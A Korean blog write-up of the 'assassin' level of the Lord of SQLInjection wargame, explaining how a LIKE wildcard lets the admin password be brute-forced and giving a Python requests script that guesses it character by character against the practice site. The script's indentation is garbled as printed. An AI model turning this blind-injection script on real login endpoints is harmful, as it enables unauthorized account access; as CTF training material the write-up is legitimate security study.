[Lord of SQLInjection]assassin write up

zzsla·2023년 6월 18일
0

문제 정보

없다.

문제

문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.

분석

get으로 요청된 pw값이 '가 들어가면 프로그램이 죽는다. 즉 이 부분이 필터링 부분이다.

  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 

그 다음은 query에 sql명령문이 나온다.
명령문은 id를 찾는데 prob_assassin이란 테이블에 있어야 하고, pw가 get으로 입력된 pw이어야 한다.

  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 

id를 찾으면 Hello (찾은 id)라고 나오고, 만약 idadmin이면 문제가 풀린다.

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin");

취약점

문제의 query를 보면 like를 사용하는 것을 볼 수 있다. sql에서 like_%를 이용해서 부분적으로 일치하는 컬럼을 찾을 때 사용한다.
즉 brute force를 이용해서 문제를 풀면 될 거 같다.

익스플로잇

(문자)%에서 아무문자나 넣어보면 guest만 나오고 admin은 안 나오는 것을 알 수 있다. 즉 이 말은 guestadmin이랑 pw값이 비슷하다는 것이다. 그래도 완전히는 똑같이는 않을 거니까 guest를 따라 찾다보면 pw의 값을 찾을 수 있을 거 같다.

초기값 설정

먼저 익스플로잇을 짤 때 첫 부분은 필요한 값들을 설정한다.

from requests import get

url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'} 

brute force

그 다음 값을 하나씩 넣으면서 pw값을 찾는다.

pw = ''
flag = 0
while True:
	for i in range(48, 97):
    j = chr(i)
    query = f"{url}/?pw={pw}{j}%"
    response = get(query, headers=header)
    if "Hello admin" in response.text:
    	pw += j
        flag = 1
        break
    elif "Hello guest" in response.text:
    	pw += j
        break
    print(f"{pw}%")
    if flag == 1:
    	break
print(f"password : {pw}%")

pw는 찾은 pw값을 넣는 부분이고, flagadminpw를 찾으면 flag1로 만들고, 마지막에 flag1일 경우 반복문을 탈출한다.
irange 범위가 숫자와 대문자, 그외 문자까지만 있고, 소문자는 체크를 안하는데 sql에서 대소문자를 구분을 안해서 안 넣었다.
i를 그대로 형변환을 시키면 오류가 생길 거 같아서 j를 만들어서 ichar형으로 형변환 시킬 때 값 넣는 용으로 사용했다.

brute force 실행 중 때 query

select id from prob_assassin where pw like '1%'

위 과정을 합치면 익스플로잇이 이렇게 나온다.

from requests import get

url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'} 

pw = ''
flag = 0
while True:
	for i in range(48, 97):
    j = chr(i)
    query = f"{url}/?pw={pw}{j}%"
    response = get(query, headers=header)
    if "Hello admin" in response.text:
    	pw += j
        flag = 1
        break
    elif "Hello guest" in response.text:
    	pw += j
        break
    print(f"{pw}%")
    if flag == 1:
    	break
print(f"password : {pw}%")

코드를 실행하면 admin의 부분적인 pw값인 902%을 얻을 수 있다.

그리고 뒤에 /?pw=902%를 넣으면 문제가 풀린다.

profile
[README]newbi security hacker :p

0개의 댓글